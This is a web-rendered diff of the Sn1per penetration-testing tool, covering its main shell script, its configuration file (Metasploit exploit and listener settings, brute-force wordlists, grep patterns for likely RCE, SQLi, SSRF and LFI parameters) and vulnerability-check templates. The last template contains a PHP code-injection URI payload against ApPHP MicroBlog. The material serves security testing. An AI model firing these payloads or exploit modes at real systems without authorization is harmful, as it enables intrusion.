sed -i "s/notepad/notepad-$PRE_NAME/g" "$LOOT_DIR/notes/notepad.html" 2> /dev/null
|
||||
fi
|
||||
if [[ "$SN1PER_AUTOLOAD" = "1" ]] && [[ ! -f "$INSTALL_DIR/pro/settings.php" ]]; then
|
||||
echo -e "$OKORANGE + -- --=[ Loading Sn1per Professional...$RESET"
|
||||
source $INSTALL_DIR/pro.sh
|
||||
sudo $LAST_USER -c $BROWSER $LOOT_DIR/sniper-report.html 2> /dev/null > /dev/null &
|
||||
else
|
||||
echo -e "$OKORANGE + -- --=[ Generating Sn1per Professional reports...$RESET"
|
||||
source $INSTALL_DIR/pro.sh
|
||||
fi
|
||||
else
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$RESET ⚡ Upgrade to Sn1per Professional and unlock a world of powerful benefits! 🚀 $RESET"
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$RESET $RESET"
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$RESET 💡 Don't miss out on important updates by using the Community version. $RESET"
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$RESET $RESET"
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$RESET 🔝 The latest Professional version ( ${OKRED}11.0 ${RESET}) offers unparalleled features, including: $RESET"
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$RESET $RESET"
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$RESET 💻 Sleek Web UI $RESET"
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$RESET 🛠️ Extensive add-ons $RESET"
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$RESET 🔄 Seamless integrations $RESET"
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$RESET $RESET"
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$RESET 🤝 Experience priority support, continuous updates, and enhanced capabilities tailored for professionals like you. $RESET"
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$RESET $RESET"
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$RESET 💰 Maximize your investment and achieve exceptional results with Sn1per Professional. $RESET"
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$RESET $RESET"
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$RESET 🔍 Learn more about the differences between the versions at: ${OKBLUE}https://sn1persecurity.com/wordpress/sn1per-community-vs-professional-whats-the-difference/ $RESET"
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$RESET $RESET"
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$RESET 🛒 Purchase your Sn1per Professional license now at: ${OKBLUE}https://sn1persecurity.com/ $RESET"
|
||||
sudo $LAST_USER -c $BROWSER https://sn1persecurity.com 2> /dev/null > /dev/null &
|
||||
fi
|
||||
rm -f $UPDATED_TARGETS 2> /dev/null
|
||||
touch $UPDATED_TARGETS 2> /dev/null
|
||||
echo -e "$OKORANGE + -- --=[ Done!$RESET"
|
||||
fi
|
||||
}
|
||||
|
||||
if [[ "$REIMPORT" = "1" ]]; then
|
||||
if [[ ! -z "$WORKSPACE_DIR" ]]; then
|
||||
LOOT="1"
|
||||
loot
|
||||
exit
|
||||
fi
|
||||
fi
|
||||
|
||||
if [ "$REIMPORT_ALL" = "1" ]; then
|
||||
if [ ! -z "$WORKSPACE_DIR" ]; then
|
||||
sort -u $WORKSPACE_DIR/domains/targets-all-sorted.txt $WORKSPACE_DIR/domains/domains-all-sorted.txt > $WORKSPACE_DIR/scans/updated.txt
|
||||
if [[ "$REIMPORT_ALL" = "1" ]]; then
|
||||
if [[ ! -z "$WORKSPACE_DIR" ]]; then
|
||||
touch $WORKSPACE_DIR/domains/targets.txt $WORKSPACE_DIR/domains/targets-all-sorted.txt $WORKSPACE_DIR/domains/domains-all-sorted.txt
|
||||
cat $WORKSPACE_DIR/domains/targets.txt $WORKSPACE_DIR/domains/targets-all-sorted.txt $WORKSPACE_DIR/domains/domains-all-sorted.txt | sort -u > $WORKSPACE_DIR/scans/updated.txt
|
||||
rm -f $WORKSPACE_DIR/nmap/openports-unsorted.txt 2> /dev/null
|
||||
rm -f $WORKSPACE_DIR/nmap/openports-sorted.txt 2> /dev/null
|
||||
rm -f $WORKSPACE_DIR/reports/host-table-report.csv 2> /dev/null
|
||||
LOOT="1"
|
||||
loot
|
||||
exit
|
||||
fi
|
||||
fi
|
||||
|
||||
if [ "$RELOAD" = "1" ]; then
|
||||
if [ ! -z "$WORKSPACE_DIR" ]; then
|
||||
if [[ "$RELOAD" = "1" ]]; then
|
||||
if [[ ! -z "$WORKSPACE_DIR" ]]; then
|
||||
$BROWSER $WORKSPACE_DIR/sniper-report.html 2> /dev/null > /dev/null &
|
||||
exit
|
||||
fi
|
||||
|
|
@ -438,7 +646,6 @@ fi
|
|||
if [[ ${TARGET:0:1} =~ $REGEX ]];
|
||||
then
|
||||
SCAN_TYPE="IP"
|
||||
|
||||
else
|
||||
SCAN_TYPE="DOMAIN"
|
||||
fi
|
||||
|
|
@ -446,11 +653,15 @@ fi
|
|||
# INITILIZE
|
||||
init
|
||||
|
||||
# CHECK CONNECTION STATUS
|
||||
check_online
|
||||
if [[ ! -f /tmp/update-check.txt ]]; then
|
||||
# CHECK CONNECTION STATUS
|
||||
check_online
|
||||
fi
|
||||
|
||||
# CHECK FOR UPDATES
|
||||
check_update
|
||||
if [[ ! -f /tmp/update-check.txt ]]; then
|
||||
# CHECK FOR UPDATES
|
||||
check_update
|
||||
fi
|
||||
|
||||
# CHECK FOR BLACKARCH LINUX
|
||||
if grep -q BlackArch /etc/issue; then
|
||||
|
|
@ -462,13 +673,21 @@ fi
|
|||
|
||||
source modes/discover.sh
|
||||
source modes/flyover.sh
|
||||
source modes/vulnscan.sh
|
||||
source modes/fullportonly.sh
|
||||
source modes/web.sh
|
||||
source modes/webporthttp.sh
|
||||
source modes/webporthttps.sh
|
||||
source modes/webscan.sh
|
||||
source modes/massweb.sh
|
||||
source modes/masswebscan.sh
|
||||
source modes/massvulnscan.sh
|
||||
source modes/massportscan.sh
|
||||
source modes/stealth.sh
|
||||
source modes/airstrike.sh
|
||||
source modes/nuke.sh
|
||||
source modes/normal.sh
|
||||
|
||||
rm -f /tmp/update-check.txt 2> /dev/null
|
||||
|
||||
exit 0
|
||||
|
|
|
|||
205
sniper.conf
205
sniper.conf
|
|
@ -10,43 +10,129 @@ OKORANGE='\033[93m'
|
|||
RESET='\e[0m'
|
||||
REGEX='^[0-9]+$'
|
||||
|
||||
# AUX MODE OVERRIDE
|
||||
# AUTO_BRUTE="0"
|
||||
# FULLNMAPSCAN="0"
|
||||
# OSINT="0"
|
||||
VULNSCAN="0"
|
||||
|
||||
# DEFAULT SETTINGS
|
||||
VERBOSE="0"
|
||||
AUTOBRUTE="0"
|
||||
FULLNMAPSCAN="0"
|
||||
OSINT="0"
|
||||
ENABLE_AUTO_UPDATES="1"
|
||||
ONLINE="1"
|
||||
REPORT="1"
|
||||
LOOT="1"
|
||||
METASPLOIT_IMPORT="0"
|
||||
|
||||
# OUT OF SCOPE
|
||||
OUT_OF_SCOPE=("www.sn1persecurity.com" "sn1persecurity.com" "*.sn1persecurity.com")
|
||||
|
||||
# SN1PER PROFESSIONAL SETTINGS
|
||||
SNIPER_PRO_CONSOLE_OUTPUT="0"
|
||||
SN1PER_AUTOLOAD="1"
|
||||
SN1PER_AUTOLOAD="0"
|
||||
MAX_HOSTS="2000"
|
||||
|
||||
# DEFAULT BROWSER
|
||||
BROWSER="firefox"
|
||||
|
||||
# BURP 2.0 SCANNER CONFIG
|
||||
BURP_HOST="127.0.0.1"
|
||||
BURP_PORT="1337"
|
||||
BURP_PORT="1338"
|
||||
|
||||
# OPENVAS CONFIG
|
||||
OPENVAS="0"
|
||||
OPENVAS_HOST="127.0.0.1"
|
||||
OPENVAS_PORT="9390"
|
||||
OPENVAS_USERNAME="admin"
|
||||
OPENVAS_PASSWORD=""
|
||||
OPENVAS_RUNAS_USER="kali"
|
||||
|
||||
# NESSUS CONFIG
|
||||
NESSUS="0"
|
||||
NESSUS_HOST="127.0.0.1:8834"
|
||||
NESSUS_USERNAME="admin"
|
||||
NESSUS_PASSWORD=""
|
||||
NESSUS_POLICY_ID="c3cbcd46-329f-a9ed-1077-554f8c2af33d0d44f09d736969bf"
|
||||
|
||||
# METASPLOIT SCANNER CONFIG
|
||||
METASPLOIT_IMPORT="0"
|
||||
MSF_LHOST="127.0.0.1"
|
||||
MSF_LPORT="4444"
|
||||
|
||||
# API KEYS
|
||||
# SHODAN API KEY
|
||||
SHODAN_API_KEY=""
|
||||
|
||||
# CENSYS API KEYS
|
||||
CENSYS_APP_ID=""
|
||||
CENSYS_API_SECRET=""
|
||||
|
||||
# HUNTER.IO API KEY
|
||||
HUNTERIO_KEY=""
|
||||
|
||||
# TOMBA.IO API
|
||||
TOMBAIO_KEY=""
|
||||
TOMBAIO_SECRET=""
|
||||
|
||||
# GITHUB API KEY
|
||||
GITHUB_API_KEY=""
|
||||
|
||||
# WPSCAN API KEY
|
||||
WP_API_KEY=""
|
||||
|
||||
# SLACK API
|
||||
SLACK_NOTIFICATIONS="0"
|
||||
SLACK_NOTIFICATIONS_THEHARVESTER="0"
|
||||
SLACK_NOTIFICATIONS_EMAIL_SECURITY="0"
|
||||
SLACK_NOTIFICATIONS_DOMAINS_NEW="0"
|
||||
SLACK_NOTIFICATIONS_TAKEOVERS_NEW="0"
|
||||
SLACK_NOTIFICATIONS_SUBOVER_NEW="0"
|
||||
SLACK_NOTIFICATIONS_SUBJACK_NEW="0"
|
||||
SLACK_NOTIFICATIONS_S3_BUCKETS="0"
|
||||
SLACK_NOTIFICATIONS_SUBNETS="0"
|
||||
SLACK_NOTIFICATIONS_DIRSEARCH_NEW="0"
|
||||
SLACK_NOTIFICATIONS_SPIDER_NEW="0"
|
||||
SLACK_NOTIFICATIONS_WHATWEB="0"
|
||||
SLACK_NOTIFICATIONS_NMAP="0"
|
||||
SLACK_NOTIFICATIONS_NMAP_DIFF="0"
|
||||
SLACK_NOTIFICATIONS_BRUTEFORCE="0"
|
||||
SLACK_NOTIFICATIONS_WHOIS="0"
|
||||
SLACK_NOTIFICATIONS_METAGOOFIL="0"
|
||||
SLACK_NOTIFICATIONS_ARACHNI_SCAN="0"
|
||||
SLACK_NOTIFICATIONS_EMAIL_FORMAT="0"
|
||||
|
||||
# ACTIVE WEB BRUTE FORCE STAGES
|
||||
WEB_BRUTE_STEALTHSCAN="1"
|
||||
WEB_BRUTE_COMMONSCAN="1"
|
||||
WEB_BRUTE_FULLSCAN="0"
|
||||
WEB_BRUTE_EXPLOITSCAN="0"
|
||||
WEB_JAVASCRIPT_ANALYSIS="1"
|
||||
MAX_JAVASCRIPT_FILES="25"
|
||||
|
||||
# WEB BRUTE FORCE WORDLISTS
|
||||
WEB_BRUTE_STEALTH="$INSTALL_DIR/wordlists/web-brute-stealth.txt"
|
||||
WEB_BRUTE_COMMON="$INSTALL_DIR/wordlists/web-brute-common.txt"
|
||||
WEB_BRUTE_FULL="$INSTALL_DIR/wordlists/web-brute-full.txt"
|
||||
WEB_BRUTE_EXPLOITS="$INSTALL_DIR/wordlists/web-brute-exploits.txt"
|
||||
WEB_BRUTE_EXTENSIONS="htm,html,asp,aspx,php,jsp,js"
|
||||
WEB_BRUTE_EXCLUDE_CODES="400,403,404,405,406,429,500,502,503,504"
|
||||
|
||||
# GREP PATTERNS
|
||||
STATIC_GREP_SEARCH="1"
|
||||
GREP_MAX_LINES="10"
|
||||
GREP_INTERESTING_SUBDOMAINS="admin|jenkins|test|proxy|stage|test|dev|devops|staff|db|qa|internal"
|
||||
GREP_EXTENSIONS="\.action|\.adr|\.ascx|\.asmx|\.axd|\.backup|\.bak|\.bkf|\.bkp|\.bok|\.achee|\.cfg|\.cfm|\.cgi|\.cnf|\.conf|\.config|\.crt|\.csr|\.csv|\.dat|\.doc|\.docx|\.eml|\.env|\.exe|\.gz|\.ica|\.inf|\.ini|\.java|\.json|\.key|\.log|\.lst|\.mai|\.mbox|\.mbx|\.md|\.mdb|\.nsf|\.old|\.ora|\.pac|\.passwd|\.pcf|\.pdf|\.pem|\.pgp|\.pl| plist|\.pwd|\.rdp|\.reg|\.rtf|\.skr|\.sql|\.swf|\.tpl|\.txt|\.url|\.wml|\.xls|\.xlsx|\.xml|\.xsd|\.yml"
|
||||
GREP_PARAMETERS="template=|preview=|id=|view=|activity=|name=|content=|redirect=|(&|[?])access(&|=)|(&|[?])admin(&|=)|(&|[?])dbg(&|=)|(&|[?])debug(&|=)|(&|[?])edit(&|=)|(&|[?])grant(&|=)|(&|[?])test(&|=)|(&|[?])alter(&|=)|(&|[?])clone(&|=)|(&|[?])create(&|=)|(&|[?])delete(&|=)|(&|[?])disable(&|=)|(&|[?])enable(&|=)|(&|[?])exec(&|=)|(&|[?])execute(&|=)|(&|[?])load(&|=)|(&|[?])make(&|=)|(&|[?])modify(&|=)|(&|[?])rename(&|=)|(&|[?])reset(&|=)|(&|[?])shell(&|=)|(&|[?])toggle(&|=)|(&|[?])adm(&|=)|(&|[?])root(&|=)|(&|[?])cfg(&|=)|(&|[?])dest(&|=)|(&|[?])redirect(&|=)|(&|[?])uri(&|=)|(&|[?])path(&|=)|(&|[?])continue(&|=)|(&|[?])url(&|=)|(&|[?])window(&|=)|(&|[?])next(&|=)|(&|[?])data(&|=)|(&|[?])reference(&|=)|(&|[?])site(&|=)|(&|[?])html(&|=)|(&|[?])val(&|=)|(&|[?])validate(&|=)|(&|[?])domain(&|=)|(&|[?])callback(&|=)|(&|[?])return(&|=)|(&|[?])feed(&|=)|(&|[?])host(&|=)|(&|[?])port(&|=)|(&|[?])to(&|=)|(&|[?])out(&|=)|(&|[?])view(&|=)|(&|[?])dir(&|=)|(&|[?])show(&|=)|(&|[?])navigation(&|=)|(&|[?])open(&|=)|(&|[?])file(&|=)|(&|[?])document(&|=)|(&|[?])folder(&|=)|(&|[?])pg(&|=)|(&|[?])php_path(&|=)|(&|[?])style(&|=)|(&|[?])doc(&|=)|(&|[?])img(&|=)|(&|[?])filename(&|=)|id=|select=|report=|role=|update=|query=|user=|name=|sort=|where=|search=|params=|process=|row=|view=|table=|from=|sel=|results=|sleep=|fetch=|order=|keyword=|column=|field=|delete=|string=|number=|filter=|(&|[?])callback=|(&|[?])cgi-bin/redirect.cgi|(&|[?])checkout=|(&|[?])checkout_url=|(&|[?])continue=|(&|[?])data=|(&|[?])dest=|(&|[?])destination=|(&|[?])dir=|(&|[?])domain=|(&|[?])feed=|(&|[?])file=|(&|[?])file_name=|(&|[?])file_url=|(&|[?])folder=|(&|[?])folder_url=|(&|[?])forward=|(&|[?])from_url=|(&|[?])go=|(&|[?])goto=|(&|[?])host=|(&|[?])html=|(&|[?])image_url=|(&|[?])img_url=|(&|[?])load_file=|(&|[?])load_url=|(&|[?])login_url=|(&|[?])logout=|(&|[?])navigation=|(&|[?])next=|(&|[?])next_page=|(&|[?])Open=|(&|[?])out=|(&|[?])page_url=|(&|[?])path=|(&|[?])port=|(&|[?])redir=|(&|[?])redirect=|(&|[?])redirect_to=|(&|[?])redirect_uri=|(&|[?])redirect_url=|(&|[?])reference=|(&|[?])return=|(&|[?])return_path=|(&|[?])return_to=|(&|[?])returnTo=|(&|[?])return_url=|(&|[?])rt=|(&|[?])rurl=|(&|[?])show=|(&|[?])site=|(&|[?])target=|(&|[?])to=|(&|[?])uri=|(&|[?])url=|(&|[?])val=|(&|[?])validate=|(&|[?])view=|(&|[?])window=|daemon=|upload=|dir=|execute=|download=|log=|ip=|cli=|cmd=|file=|document=|folder=|root=|path=|pg=|style=|pdf=|template=|php_path=|doc=|page=|name=|id=|user=|account=|number=|order=|no=|doc=|key=|email=|group=|profile=|edit=|report=|access=|admin=|dbg=|debug=|edit=|grant=|test=|alter=|clone=|create=|delete=|disable=|enable=|exec=|execute=|load=|make=|modify=|rename=|reset=|shell=|toggle=|adm=|root=|cfg=|config="
|
||||
GREP_XSS="q=|s=|search=|lang=|keyword=|query=|page=|keywords=|year=|view=|email=|type=|name=|p=|callback=|jsonp=|api_key=|api=|password=|email=|emailto=|token=|username=|csrf_token=|unsubscribe_token=|id=|item=|page_id=|month=|immagine=|list_type=|url=|terms=|categoryid=|key=|l=|begindate=|enddate="
|
||||
GREP_SSRF="access|admin|dbg|debug|edit|grant|test|alter|clone|create|delete|disable|enable|exec|execute|load|make|modify|rename|reset|shell|toggle|adm|root|cfg|dest|redirect|uri|path|continue|url|window|next|data|reference|site|html|val|validate|domain|callback|return|page|feed|host|port|to|out|view|dir|show|navigation|open"
|
||||
GREP_REDIRECT="forward=|dest=|redirect=|uri=|path=|continue=|url=|window=|to=|out=|view=|dir=|show=|navigation=|Open=|file=|val=|validate=|domain=|callback=|return=|page=|feed=|host=|port=|next=|data=|reference=|site=|html="
|
||||
GREP_RCE="daemon|upload|dir|execute|download|log|ip|cli|cmd"
|
||||
GREP_IDOR="id|user|account|number|order|no|doc|key|email|group|profile|edit|report"
|
||||
GREP_SQL="id|select|report|role|update|query|user|name|sort|where|search|params|process|row|view|table|from|sel|results|sleep|fetch|order|keyword|column|field|delete|string|number|filter"
|
||||
GREP_LFI="file|document|folder|root|path|pg|style|pdf|template|php_path|doc"
|
||||
GREP_SSTI="template|preview|id|view|activity|name|content|redirect"
|
||||
GREP_DEBUG="access|admin|dbg|debug|edit|grant|test|alter|clone|create|delete|disable|enable|exec|execute|load|make|modify|rename|reset|shell|toggle|adm|root|cfg|config"
|
||||
|
||||
# DOMAIN WORDLISTS
|
||||
DOMAINS_QUICK="$INSTALL_DIR/wordlists/domains-quick.txt"
|
||||
DOMAINS_DEFAULT="$INSTALL_DIR/wordlists/domains-default.txt"
|
||||
DOMAINS_FULL="$INSTALL_DIR/wordlists/domains-all.txt"
|
||||
# DOMAINS_FULL="$INSTALL_DIR/wordlists/domains-all.txt"
|
||||
|
||||
# DEFAULT USER/PASS WORDLISTS
|
||||
USER_FILE="/usr/share/brutex/wordlists/simple-users.txt"
|
||||
|
|
@ -57,18 +143,23 @@ DNS_FILE="/usr/share/brutex/wordlists/namelist.txt"
|
|||
SAMRDUMP="$INSTALL_DIR/bin/samrdump.py"
|
||||
INURLBR="$INSTALL_DIR/bin/inurlbr.php"
|
||||
|
||||
# PORT SCAN CONFIGURATIONS
|
||||
QUICK_PORTS="21,22,23,25,53,80,110,137,138,139,161,162,443,445,512,513,514,1433,3306,4444,5555,5432,5555,5900,5901,6667,7001,8080,8888,8000,10000"
|
||||
DEFAULT_PORTS="1,7,9,13,19,21-23,25,37,42,49,53,67,68,69,79-81,85,88,105,109-111,113,123,135,137-139,143,161,162,179,222,264,384,389,402,407,443-446,465,500,502,512-515,523-524,540,548,554,587,617,623,631,655,689,705,771,783,831,873,888,902,910,912,921,993,995,998-1000,1024,1030,1035,1090,1098-1103,1128-1129,1158,1199,1211,1220,1234,1241,1300,1311,1352,1433-1435,1440,1471,1494,1521,1530,1533,1581-1582,1604,1720,1723,1755,1811,1900,2000-2001,2049,2067,2100,2103,2121,2199,2207,2222,2323,2362,2380-2381,2525,2533,2598,2638,2809,2947,2967,3000,3037,3050,3057,3128,3200,3217,3273,3299,3306,3310,3333,3389,3460,3465,3500,3628,3632,3690,3780,3790,3817,3900,4000,4322,4433,4444-4445,4659,4672,4679,4800,4848,5000,5009,5038,5040,5051,5060-5061,5093,5168,5227,5247,5250,5351,5353,5355,5400,5405,5432-5433,5466,5498,5520-5521,5554-5555,5560,5580,5631-5632,5666,5800,5814,5900-5910,5920,5984-5986,5999-6000,6050,6060,6070,6080,6082,6101,6106,6112,6161,6262,6379,6405,6502-6504,6542,6660-6661,6667,6789,6905,6988,6996,7000-7001,7021,7071,7080,7144,7181,7210,7272,7414,7426,7443,7510,7547,7579-7580,7700,7770,7777-7778,7787,7800-7801,7878-7879,7890,7902,8000-8001,8008,8014,8020,8023,8028,8030,8050-8051,8080-8082,8085-8088,8090-8091,8095,8101,8161,8180,8205,8222,8300,8303,8333,8400,8443-8445,8503,8642,8686,8701,8787,8800,8812,8834,8880,8888-8890,8899,8901-8903,8980,8999-9005,9010,9050,9080-9081,9084,9090,9099-9100,9111,9152,9200,9256,9300,9390-9391,9495,9500,9711,9788,9809-9815,9855,9875,9910,9991,9999-10001,10008,10050-10051,10080,10098-10099,10162,10202-10203,10443,10616,10628,11000-11001,11099,11211,11234,11333,11460,12000,12174,12203,12221,12345,12397,12401,13013,13364,13500,13838,14000,14330,15000-15001,15200,16000,16102,16992,17185,17200,18881,18980,19300,19810,20000,20010,20031,20034,20101,20111,20171,20222,22222,23423,23472,23791,23943,25000,25025,26000,26122,26256,27000,27015,27017,27888,27960,28222,28784,30000,30718,31001,31099,32022,32764,32913,33000,34205,34443,37718,37777,38080,38292,40007,41025,41080,41523-41524,44334,44818,45230,46823-46824,47001-47002,48080,48899,49152,50000-50004,50013,50050,50500-50504,52302,52869,53413,55553,57772,62078,62514,65535,U:53,U:67,U:68,U:69,U:88,U:161,U:162,U:137,U:138,U:139,U:389,U:520,U:2049"
|
||||
DEFAULT_TCP_PORTS="1,7,9,13,19,21-23,25,37,42,49,53,69,79-81,85,88,105,109-111,113,123,135,137-139,143,161,162,179,222,264,384,389,402,407,443-446,465,500,502,512-515,523-524,540,548,554,587,617,623,631,655,689,705,771,783,831,873,888,902,910,912,921,993,995,998-1000,1024,1030,1035,1090,1098-1103,1128-1129,1158,1199,1211,1220,1234,1241,1300,1311,1352,1433-1435,1440,1471,1494,1521,1530,1533,1581-1582,1604,1720,1723,1755,1811,1900,2000-2001,2049,2067,2100,2103,2121,2199,2207,2222,2323,2362,2380-2381,2525,2533,2598,2638,2809,2947,2967,3000,3037,3050,3057,3128,3200,3217,3273,3299,3306,3310,3333,3389,3460,3465,3500,3628,3632,3690,3780,3790,3817,3900,4000,4322,4433,4444-4445,4659,4672,4679,4800,4848,5000,5009,5038,5040,5051,5060-5061,5093,5168,5227,5247,5250,5351,5353,5355,5400,5405,5432-5433,5466,5498,5520-5521,5554-5555,5560,5580,5631-5632,5666,5800,5814,5900-5910,5920,5984-5986,5999-6000,6050,6060,6070,6080,6082,6101,6106,6112,6161,6262,6379,6405,6502-6504,6542,6660-6661,6667,6789,6905,6988,6996,7000-7001,7021,7071,7080,7144,7181,7210,7272,7414,7426,7443,7510,7547,7579-7580,7700,7770,7777-7778,7787,7800-7801,7878-7879,7890,7902,8000-8001,8008,8014,8020,8023,8028,8030,8050-8051,8080-8082,8085-8088,8090-8091,8095,8101,8161,8180,8205,8222,8300,8303,8333,8400,8443-8445,8503,8642,8686,8701,8787,8800,8812,8834,8880,8888-8890,8899,8901-8903,8980,8999-9005,9010,9050,9080-9081,9084,9090,9099-9100,9111,9152,9200,9256,9300,9390-9391,9495,9500,9711,9788,9809-9815,9855,9875,9910,9991,9999-10001,10008,10050-10051,10080,10098-10099,10162,10202-10203,10443,10616,10628,11000-11001,11099,11211,11234,11333,11460,12000,12174,12203,12221,12345,12397,12401,13013,13364,13500,13838,14000,14330,15000-15001,15200,16000,16102,16992,17185,17200,18881,18980,19300,19810,20000,20010,20031,20034,20101,20111,20171,20222,22222,23423,23472,23791,23943,25000,25025,26000,26122,26256,27000,27015,27017,27888,27960,28222,28784,30000,30718,31001,31099,32022,32764,32913,33000,34205,34443,37718,37777,38080,38292,40007,41025,41080,41523-41524,44334,44818,45230,46823-46824,47001-47002,48080,48899,49152,50000-50004,50013,50050,50500-50504,52302,52869,53413,55553,57772,62078,62514,65535"
|
||||
DEFAULT_UDP_PORTS="53,67,68,69,88,123,161,162,137,138,139,389,520,2049"
|
||||
FULL_PORTSCAN_PORTS="1-65535"
|
||||
# FLYOVER MODE TUNING
|
||||
FLYOVER_MAX_HOSTS="5"
|
||||
FLYOVER_DELAY="10"
|
||||
|
||||
THREADS="30"
|
||||
# NMAP OPTIONS
|
||||
NMAP_OPTIONS="--script-args http.useragent='' --open"
|
||||
|
||||
# NMAP PORT CONFIGURATIONS
|
||||
QUICK_PORTS="21,22,80,443,8000,8080,8443"
|
||||
DEFAULT_PORTS="10000,1099,110,111,123,135,137,139,1433,1524,161,162,16992,2049,21,2121,2181,22,23,25,264,27017,27018,27019,28017,3128,3306,3310,3389,3632,389,443,4443,445,49152,49180,500,512,513,514,53,5432,5555,5800,5900,5984,623,624,6667,67,68,69,7001,79,80,8000,8001,8080,8180,8443,8888,9200,9495"
|
||||
FULL_PORTSCAN_PORTS="T:1-65535,U:53,U:67,U:68,U:69,U:88,U:161,U:162,U:137,U:138,U:139,U:389,U:500,U:520,U:2049"
|
||||
THREADS="100"
|
||||
|
||||
# NETWORK PLUGINS
|
||||
NMAP_SCRIPTS="1"
|
||||
METASPLOIT_EXPLOIT="1"
|
||||
MSF_LEGACY_WEB_EXPLOITS="0"
|
||||
SSH_AUDIT="1"
|
||||
SSH_ENUM="1"
|
||||
LIBSSH_BYPASS="1"
|
||||
|
|
@ -77,8 +168,7 @@ FINGER_TOOL="1"
|
|||
SHOW_MOUNT="1"
|
||||
RPC_INFO="1"
|
||||
SMB_ENUM="1"
|
||||
AMAP="1"
|
||||
YASUO="1"
|
||||
AMAP="0"
|
||||
|
||||
# OSINT PLUGINS
|
||||
WHOIS="1"
|
||||
|
|
@ -86,43 +176,76 @@ GOOHAK="1"
|
|||
INURLBR="1"
|
||||
THEHARVESTER="1"
|
||||
METAGOOFIL="1"
|
||||
HUNTERIO="0"
|
||||
TOMBAIO="0"
|
||||
INTODNS="1"
|
||||
EMAILFORMAT="1"
|
||||
ULTRATOOLS="1"
|
||||
URLCRAZY="1"
|
||||
VHOSTS="0"
|
||||
H8MAIL="0"
|
||||
GITHUB_SECRETS="0"
|
||||
URLSCANIO="1"
|
||||
|
||||
# DYNAMIC APPLICATION SCANNERS
|
||||
BURP_SCAN="0"
|
||||
ARACHNI_SCAN="0"
|
||||
ZAP_SCAN="0"
|
||||
|
||||
# ACTIVE WEB PLUGINS
|
||||
BURP_SCAN="1"
|
||||
NIKTO="1"
|
||||
SC0PE_VULNERABLITY_SCANNER="1"
|
||||
NUCLEI="1"
|
||||
DIRSEARCH="1"
|
||||
GOBUSTER="0"
|
||||
NIKTO="0"
|
||||
BLACKWIDOW="1"
|
||||
CLUSTERD="1"
|
||||
WPSCAN="1"
|
||||
CMSMAP="1"
|
||||
INJECTX="1"
|
||||
CLUSTERD="0"
|
||||
WPSCAN="0"
|
||||
CMSMAP="0"
|
||||
WAFWOOF="1"
|
||||
WHATWEB="1"
|
||||
WIG="1"
|
||||
SHOCKER="1"
|
||||
JEXBOSS="1"
|
||||
WIG="0"
|
||||
SHOCKER="0"
|
||||
JEXBOSS="0"
|
||||
WEBTECH="1"
|
||||
|
||||
# ACTIVE WEB BRUTE FORCE STAGES
|
||||
WEB_BRUTE_STEALTHSCAN="1"
|
||||
WEB_BRUTE_FULLSCAN="1"
|
||||
WEB_BRUTE_EXPLOITSCAN="1"
|
||||
SSL_INSECURE="1"
|
||||
HTTP_PROBE="0"
|
||||
SMUGGLER="1"
|
||||
|
||||
# PASSIVE WEB PLUGINS
|
||||
WAYBACKMACHINE="1"
|
||||
SSL="1"
|
||||
PASSIVE_SPIDER="1"
|
||||
CUTYCAPT="1"
|
||||
GAU="1"
|
||||
HACKERTARGET="1"
|
||||
CUTYCAPT="0"
|
||||
WEBSCREENSHOT="1"
|
||||
|
||||
# EMAIL PLUGINS
|
||||
SPOOF_CHECK="1"
|
||||
|
||||
# RECON PLUGINS
|
||||
SUBHIJACK_CHECK="1"
|
||||
SLURP="1"
|
||||
SUBLIST3R="1"
|
||||
AMASS="1"
|
||||
SUBFINDER="1"
|
||||
DNSCAN="1"
|
||||
SUBHIJACK_CHECK="0"
|
||||
AQUATONE="0"
|
||||
SLURP="0"
|
||||
SUBLIST3R="0"
|
||||
AMASS="0"
|
||||
SUBFINDER="0"
|
||||
DNSCAN="0"
|
||||
CRTSH="1"
|
||||
SUBOVER="1"
|
||||
SUBOVER="0"
|
||||
PROJECT_SONAR="1"
|
||||
CENSYS_SUBDOMAINS="1"
|
||||
CENSYS_SUBDOMAINS="0"
|
||||
SUBNET_RETRIEVAL="1"
|
||||
SUBJACK="0"
|
||||
ALT_DNS="0"
|
||||
MASS_DNS="0"
|
||||
DNSGEN="0"
|
||||
SHODAN="0"
|
||||
ASN_CHECK="1"
|
||||
SPYSE="0"
|
||||
SUBBRUTE_DNS="0"
|
||||
GITHUB_SUBDOMAINS="0"
|
||||
RAPIDDNS="1"
|
||||
SCAN_ALL_DISCOVERED_DOMAINS="0"
|
||||
|
|
@ -0,0 +1,9 @@
|
|||
AUTHOR='@xer0dayz'
|
||||
VULN_NAME='AWS S3 Public Bucket Listing'
|
||||
URI=''
|
||||
METHOD='GET'
|
||||
MATCH="listbucket"
|
||||
SEVERITY='P5 - INFO'
|
||||
CURL_OPTS="--user-agent '' -s -L --insecure"
|
||||
SECONDARY_COMMANDS=''
|
||||
GREP_OPTIONS='-i'
|
||||
|
|
@ -0,0 +1,9 @@
|
|||
AUTHOR='@xer0dayz'
|
||||
VULN_NAME='ApPHP MicroBlog Remote Code Execution Vulnerability'
|
||||
URI='/index.php?b);phpinfo();echo(base64_decode('T3BlblZBUwo')=/'
|
||||
METHOD='GET'
|
||||
MATCH="<title>phpinfo\(\)"
|
||||
SEVERITY='P1 - CRITICAL'
